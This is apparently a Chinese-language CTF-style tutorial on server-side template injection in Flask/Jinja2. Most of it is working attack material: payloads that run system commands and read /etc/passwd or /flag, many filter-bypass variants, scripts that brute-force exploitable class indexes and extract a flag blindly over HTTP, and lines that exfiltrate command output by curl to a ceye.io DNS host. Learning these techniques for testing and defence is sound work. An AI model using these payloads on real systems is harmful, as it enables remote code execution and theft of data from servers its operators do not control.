模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
服务端模板注入和常见Web注入的成因一样,也是**服务端接收了用户的输入,将未过滤的数据传给引擎解析,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。**其影响范围主要取决于模版引擎的复杂性。
通常测试模块类型的方式如下图:
Flask是一个用Python编写的Web应用程序框架。 它由Armin Ronacher开发,他领导着一个名为Pocco的Python爱好者的国际组织。 Flask基于Werkzeug WSGI工具包和Jinja2模板引擎。 这两个都是Pocco项目。
Web服务器网关接口(WSGI,web service gate interface)已被采纳为Python Web应用程序开发的标准。 WSGI是Web服务器和Web应用程序之间通用接口的规范。
它是一个WSGI工具包,它实现了请求,响应对象和其他实用程序功能。 这可以在其上构建Web框架。 Flask框架使用Werkzeug作为其一个基础模块之一。
jinja2是Python的流行模板引擎。 网页模板系统将模板与特定的数据源结合起来呈现动态网页。
Flask通常被称为微框架。 它旨在保持应用程序的核心简单且可扩展。 Flask没有用于数据库处理的内置抽象层,也没有形成验证支持。 相反,Flask支持扩展以将这些功能添加到应用程序中。
在利用flask模板注入之前我们先需要认识一些Python类的基础知识
用于返回对象所属的类
>>> ''.__class__
>>> ().__class__
>>> [].__class__
以字符串的形式返回一个类所继承的类,一般情况下是object
>>> [].__class__.__base__
以元组的形式返回一个类所继承的类
>>> [].__class__.__bases__
(,)
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
class GrandFather():
def __init__(self):
pass
class Father(GrandFather):
pass
class Son(Father):
pass
print(Son.__base__)
print(Son.__bases__)
print(Son.__mro__)
得到object类后,就可以用__subclasses__()
获取所有的子类:
>>> [].__class__.__base__.__subclasses__()
[, ,......, , ]
我们在获得到一个模块时想调用模块中的方法,恰好该方法被过滤了,就可以用该方法bypass
>>> import os
>>> os.system('whoami')
laptop-vke4f570\john
0
>>> os.__dict__['s'+'ystem']('whoami')
laptop-vke4f570\john
0
与dir()作用相同,都是返回属性、方法等;但一些数据类型是没有__dict__
属性的,如[].__dict__
会返回错误
__dict__
只会显示属于自己的属性,dir()除了显示自己的属性,还显示从父类继承来的属性
可以使用__dict__
来间接调用一些属性或方法,如:
>>> a=[]
>>> [].__class__.__dict__['append'](a, 'john')
>>> a
['john']
__init__
用于初始化类,作用就是为了得到function/method模型,意思就是拿到一个类之后要使用__init__
之后才能调用里面的函数和属性
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合__init__
使用
如果该关键字被过滤了我们可以使用__getattribute__
,以下两者等效
__init__.__globals__['sys']
__init__.__getattribute__('__global'+'s__')['sys']
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
,所以对于取字典中键值的情况不仅可以用[]
,也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个
在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chr
、open
。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类。
在 2.x 版本中,内建模块被命名为 __builtin__
,到了 3.x 就成了 builtins
。它们都需要 import 才能查看:
python2
>>> import __builtin__
>>> __builtin__
python3
>>> import builtins
>>> builtins
而__builtins__
两者都有,实际上是__builtin__
和builtins
的引用。它不需要导入。不过__builtins__
与__builtin__
和builtins
是有一点区别的,__builtins__
相对实用一点,并且在 __builtins__
里有很多好东西:
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
laptop-vke4f570\john
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True
变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。
attr用于获取变量
""|attr("__class__")
相当于
"".__class__
这个大家应该见的比较多了,常见于点号.
被过滤,或者点号.
和中括号[]
都被过滤的情况。
占位符
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
常用于数字被过滤后想选择最后一个内容,用处不是很多
"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]
将传入的内容拼接返回字符串
"".[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
"".["__class__"]
转换为小写
"".["__CLASS__"|lower]
替换和反转
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"
功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串。
().__class__ 出来的是
(().__class__|string)[0] 出来的是<
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。 如果没有指定测试,则每个对象都将被计算为布尔值
()|select|string
结果如下
通过配合上面的string来拼接
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]
得到字符串"__class__"
转换成列表
更多的用途是配合上面的string转换成列表,就可以调用列表里面的方法取字符了
(()|select|string|list).pop(0)
首先安装flask
模组
pip3 install flask
在试了几个网上的模板都没用之后发现这个可以用
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
return render_template_string("Hello %s" % name)
if __name__ == "__main__":
app.debug = True
app.run()
运行之后访问本地的5000端口即可
@app.route('/')
使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
@app.route('/')
def test():
return 123
访问127.0.0.1:5000/则会输出123,我们修改一下规则
@app.route('/hello')
def test():
return 123
这个时候访问127.0.0.1:5000/test会输出123.
此外还可以设置动态网址,
@app.route("/hello/" )
def hello_user(username):
return "user : %s"%username
根据url里的输入,动态辨别身份,此时便可以看到如下页面:
或者可以使用int型,转换器有下面几种:
int 接受整数
float 同 int ,但是接受浮点数
path 和默认的相似,但也接受斜线
@app.route('/post/')
def show_post(post_id):
# show the post with the given id, the id is an integer
return 'Post %d' % post_id
测试的时候,我们可以使用debug,方便调试,增加一句
app.debug = True
#或者
app.run(debug=True)
这样我们修改代码的时候直接保存,网页刷新就可以了,如果不加debug,那么每次修改代码都要运行一次程序,并且把前一个程序关闭。否则会被前一个程序覆盖。
使用render_template()
或render_template_string()
方法来渲染模板。你需要做的一切就是将模板名和你想作为关键字的参数传入模板的变量。
render_template_string("Hello %s" % name)
在注入处输入{{7*7}}
来测试后端是否会对输入的内容执行
根据返回结果判断是否存在注入漏洞
使用__class__
来获取内置类所对应的类,可以使用str
,dict
,tuple
,list
等来获取。
{{"".__class__}}
拿到object
基类
__base__
拿到基类:{{"".__class__.__base__}}
__bases__[0]
拿到基类:{{"".__class__.__bases__[0]}}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SbzL4bMu-1649927592026)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210425221118994.png)]
__mro__[1]
或__mro__[-1]
拿到基类:{{"".__class__.__mro__[1]}}
{{"".__class__.__mro__[-1]}}
用__subclasses__()
拿到子类列表:
{{"".__class__.__base__.__subclasses__()}}
在子类列表中寻找中寻找可以getshell的类。
我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类。
这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen
为例子。
search = 'popen'
num = -1
for i in ().__class__.__base__[0].__subclasses__:
num += 1
try:
if search in i.__init__.__globals__.keys():
print(num, i)
except:
pass
可以发现object
基类的第133个子类名为os._wrap_close
的这个类有popen方法
先调用它的__init__
方法进行初始化类,再调用__globals__
可以获取到方法内以字典的形式返回的方法、属性等值,最后调用popen
函数来执行命令
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tKlIJsRO-1649927592027)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210425222543624.png)]
但是上面的方法仅限于在本地寻找,实际操作需要脚本通过不断请求访问去找可以利用的类
import requests
import time
search = 'popen'
for i in range(300):
time.sleep(0.1)
payload = "name={{().__class__.__base__.__subclasses__()[%s].__init__.__globals__.keys()}}" % i
url = "http://127.0.0.1:5000/?"
r = requests.get(url + payload)
if search in r.text:
print(r.text)
print(i)
break
脚本发现第132个类存在popen
函数
或者用循环打印出所有的类和编号,再搜索能用的类:
{%for i in range(300)%}
{{().__class__.__mro__[-1].__subclasses__()[i]}}
{{i}}
{%endfor%}
利用找到的类
{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}
这样就可以操作系统命令了。
通常会用{{config}}
查询配置信息
这个不算类或方法,但是有可能flag会藏在这里
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('env').read()}}
popen()
用于执行系统命令,返回一个文件地址,需要用read()
来显示文件的内容
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__base__.__subclasses__()[485]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
利用import导入os模块来操作系统命令
{{"".__class__.__base__.__subclasses__()[80].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
{{().__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
jinja2中存在对象request
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
{{url_for.__globals__['current_app'].config}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
lipsum
是一个方法,可以直接调用os方法,也可以使用__buildins__
:
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
这里有一个十分方便的脚本,用于获取可利用的类方法,python2 或 python3都适用,不过仅限于本地获取
#!/usr/bin/env python
# coding: utf-8
import sys
# https://github.com/python/cpython/tree/2.7/Lib
# ls -l /usr/lib/python2.7 | awk '{print$9}' | grep -v '.pyc\|this\|antigravity'
# Python2标准库模块
modules2 = ['_abcoll', 'abc', 'aifc', 'anydbm', 'argparse.egg-info', 'argparse', 'ast', 'asynchat', 'asyncore', 'atexit', 'audiodev', 'base64', 'BaseHTTPServer', 'Bastion', 'bdb', 'binhex', 'bisect', 'bsddb', 'calendar', 'CGIHTTPServer', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'ConfigParser', 'config-x86_64-linux-gnu', 'contextlib', 'cookielib', 'Cookie', 'copy', 'copy_reg', 'cProfile', 'csv', 'ctypes', 'curses', 'dbhash', 'decimal', 'difflib', 'dircache', 'dis', 'dist-packages', 'distutils', 'doctest', 'DocXMLRPCServer', 'dumbdbm', 'dummy_threading', 'dummy_thread', 'email', 'encodings', 'ensurepip', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fpformat', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib', 'HTMLParser', 'httplib', 'ihooks', 'imaplib', 'imghdr', 'importlib', 'imputil', 'inspect', 'io', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'lib-tk', 'LICENSE.txt', 'linecache', 'locale', 'logging', '_LWPCookieJar', 'macpath', 'macurl2path', 'mailbox', 'mailcap', 'markupbase', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify', 'modulefinder', '_MozillaCookieJar', 'multifile', 'multiprocessing', 'mutex', 'netrc', 'new', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'optparse', 'os2emxpath', 'os', '_osx_support', 'pdb.doc', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plat-x86_64-linux-gnu', 'plistlib', 'popen2', 'poplib', 'posixfile', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', 'pyclbr', 'py_compile', 'pydoc_data', 'pydoc', '_pyio', 'Queue', 'quopri', 'random', 'repr', 're', 'rexec', 'rfc822', 'rlcompleter', 'robotparser', 'runpy', 'sched', 'sets', 'sgmllib', 'sha', 'shelve', 'shlex', 'shutil', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'SocketServer', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'sre', 'ssl', 'stat', 'statvfs', 'StringIO', 'stringold', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunaudio', 'sunau', 'symbol', 'symtable', '_sysconfigdata', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'toaiff', 'tokenize', 'token', 'traceback', 'trace', 'tty', 'types', 'unittest', 'urllib2', 'urllib', 'urlparse', 'UserDict', 'UserList', 'user', 'UserString', 'uuid', 'uu', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'whichdb', 'wsgiref', 'wsgiref.egg-info', 'xdrlib', 'xml', 'xmllib', 'xmlrpclib', 'zipfile']
# Python3标准库模块
modules3 = ['abc', 'aifc', 'argparse', 'ast', 'asynchat', 'asyncio', 'asyncore', 'base64', 'bdb', 'binhex', 'bisect', '_bootlocale', 'bz2', 'calendar', 'cgi', 'cgitb', 'chunk', 'cmd', 'codecs', 'codeop', 'code', 'collections', '_collections_abc', 'colorsys', '_compat_pickle', 'compileall', '_compression', 'concurrent', 'config-3.8-x86_64-linux-gnu', 'configparser', 'contextlib', 'contextvars', 'copy', 'copyreg', 'cProfile', 'crypt', 'csv', 'ctypes', 'curses', 'dataclasses', 'datetime', 'dbm', 'decimal', 'difflib', 'dis', 'dist-packages', 'distutils', 'doctest', 'dummy_threading', '_dummy_thread', 'email', 'encodings', 'ensurepip', 'enum', 'filecmp', 'fileinput', 'fnmatch', 'formatter', 'fractions', 'ftplib', 'functools', '__future__', 'genericpath', 'getopt', 'getpass', 'gettext', 'glob', 'gzip', 'hashlib', 'heapq', 'hmac', 'html', 'http', 'imaplib', 'imghdr', 'importlib', 'imp', 'inspect', 'io', 'ipaddress', 'json', 'keyword', 'lib2to3', 'lib-dynload', 'LICENSE.txt', 'linecache', 'locale', 'logging', 'lzma', 'mailbox', 'mailcap', '_markupbase', 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'nntplib', 'ntpath', 'nturl2path', 'numbers', 'opcode', 'operator', 'optparse', 'os', '_osx_support', 'pathlib', 'pdb', '__phello__.foo', 'pickle', 'pickletools', 'pipes', 'pkgutil', 'platform', 'plistlib', 'poplib', 'posixpath', 'pprint', 'profile', 'pstats', 'pty', '_py_abc', 'pyclbr', 'py_compile', '_pydecimal', 'pydoc_data', 'pydoc', '_pyio', 'queue', 'quopri', 'random', 'reprlib', 're', 'rlcompleter', 'runpy', 'sched', 'secrets', 'selectors', 'shelve', 'shlex', 'shutil', 'signal', '_sitebuiltins', 'sitecustomize', 'site', 'smtpd', 'smtplib', 'sndhdr', 'socket', 'socketserver', 'sqlite3', 'sre_compile', 'sre_constants', 'sre_parse', 'ssl', 'statistics', 'stat', 'stringprep', 'string', '_strptime', 'struct', 'subprocess', 'sunau', 'symbol', 'symtable', '_sysconfigdata__linux_x86_64-linux-gnu', '_sysconfigdata__x86_64-linux-gnu', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'test', 'textwrap', '_threading_local', 'threading', 'timeit', 'tkinter', 'tokenize', 'token', 'traceback', 'tracemalloc', 'trace', 'tty', 'turtle', 'types', 'typing', 'unittest', 'urllib', 'uuid', 'uu', 'venv', 'warnings', 'wave', 'weakref', '_weakrefset', 'webbrowser', 'wsgiref', 'xdrlib', 'xml', 'xmlrpc', 'zipapp', 'zipfile', 'zipimport']
# 危险模块
methods = ['sys', 'os', 'system', 'popen', 'subprocess', 'platform', 'commands', 'timeit', 'bdb', 'cgi', 'importlib', 'pickle', 'pty', '__builtins__', '__import__', 'import_module', 'eval', 'exec', 'spawn', 'file', 'linecache', 'types']
# 基本类型
types = ['', [], (), {}]
# object的派生类
subclasses = {}
# 危险标准库模块
risk_modules = {}
# 遍历派生类并获取模块
for i in range(0, len(object.__subclasses__())):
try:
subclasses[i] = object.__subclasses__()[i].__init__.__globals__.keys()
except Exception as e:
# print(e)
pass
print('------------------------------ 思路二 ------------------------------')
# 导入了危险模块的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for method in methods:
if method == submodule:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{method}']".format(i=i, method=method))
print('------------------------------ 缓冲区 ------------------------------')
# 判断Python版本
if (sys.version_info[0]) == 3:
modules = modules3
else:
modules = modules2
# 导入了危险模块的标准库
for module in modules:
risk_modules[module] = []
try:
m = __import__(module) # 导入模块
attrs = dir(m) # 获取属性与方法
for method in methods:
if method in attrs: # 若存在危险模块
risk_modules[module].append(method)
except Exception as e:
# print(e)
pass
print('------------------------------ 思路三 ------------------------------')
# 导入了危险标准库的派生类
for i, submodules in subclasses.items():
for submodule in submodules:
for risk_module in risk_modules.keys():
if risk_module == submodule:
for method in risk_modules[risk_module]:
# print(f"object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']")
print("object.__subclasses__()[{i}].__init__.__globals__['{risk_module}'].__dict__['{method}']".format(i=i, risk_module=risk_module, method=method))
print('------------------------------ 思路四 ------------------------------')
# 基本类型的特殊方法
for t in types:
for method in dir(t):
# 待比较类型
c = str(t.__getattribute__(method).__class__)
# Python2特殊类型
c2 = ""
# Python3特殊类型
c3 = ""
if c == c2 or c == c3:
# 转义双引号
if t == '':
t = "''"
print("{t}.{method}.__class__.__call__".format(t=t, method=method))
.
[]
绕过{{().__class__}}
{{()['__class__']}}
attr()
绕过{{().__class__}}
{{()|attr("__class__")}}
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
POST:arg1=open&arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd
先找出chr()
函数的位置
{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
利用chr()
绕过''
#原利用payload
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
#用char()代替引号
{%set chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[133].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
()
由于执行函数必须要使用小括号,因此过滤小括号后只能查看config配置信息了。
_
使用十六进制编码绕过,_
编码后为\x5f
,.
编码后为\x2E
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
关键字也可以使用十六进制编码
string1="__class__"
def tohex(string):
result = ""
for i in range(len(string)):
result=result+"\\x"+hex(ord(string[i]))[2:]
print(result)
tohex(string1)
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
用于__getattribute__
使用实例访问属性时。
例如,过滤掉 __class__
关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
+
拼接{{()['__cla'+'ss__'].__bases__[0]}}
{{()['__cla''ss__'].__bases__[0]}}
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
__enter__
或__exit__
替代{{self}} ⇒
{{self.__dict__._TemplateReference__context}}
[]
[]
使用pop()
或__getitem__()
代替[]
{{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.popen('whoami').read()}}
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
[]
魔术方法中本来是没有中括号的,但是如果需要使用[]
绕过关键字的话,可以用__getattribute__
绕过
{{"".__getattribute__("__cla"+"ss__").__base__}}
也可以配合requests
绕过
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(133).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
{}
用{%%}
替代,使用判断语句进行dns外带数据
{% if ().__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("curl `cat flag`.0ppgif.ceye.io").read()=='ssti' %}1{% endif %}
{%print ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
{% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
首先构造数字
{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}
然后拼接数字,这里以258为例
{% set erwuba=(two~five~eight)|int %}
过滤['_', '.', '0-9', '\', ''', '"', '[', ']', '+', 'request']
先确定一个利用的基本payload,越简单越好
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。
先构造数字:
{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}
然后查看_
在第几个,这里是下标18为下划线
{% set eighteen=nine+nine %}
{{(lipsum|string|list)|attr(pop)(eighteen)}}
这里问题来了,attr()
里面要求的是字符串,直接输pop需要用引号''
包围起来,但是这里又过滤了引号,所以要先构造一个pop
字符串:
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
此时就能成功取到_
,再用下划线去构造其他的类:
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
再去构造后面用到的方法:
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
最后就是完整的利用语法:
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
合在一起就是:
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
# !/usr/bin/env python
# python3.7
# coding:utf-8
import requests
url = 'http://127.0.0.1:5000/?name='
def check(payload):
r = requests.get(url+payload).content
return 'kawhi'.encode() in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in range(0,100):
for c in s:
payload = '{% if ().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.open("/flag").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
if check(payload):
password += c
break
print(password)
{% if ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']("curl `whoami`.0ppgif.ceye.io").read()=='ssti' %}1{% endif %}
{{[][request['args']['class']][request['args']['base']][request['args']['subclasses']]()[153][request['args']['dict']][request['args']['init']][request['args']['globals']][request['args']['builtins']]['eval'](request['args']['payload'])}}?base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&globals=__globals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()
#一句cat flag
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat /flag').read()}}{% endif %}{% endfor %}
详解模板注入漏洞(上)
flask之ssti模版注入从零到入门
Python模板注入(SSTI)深入学习
1. SSTI(模板注入)漏洞(入门篇)
SSTI模板注入绕过(进阶篇)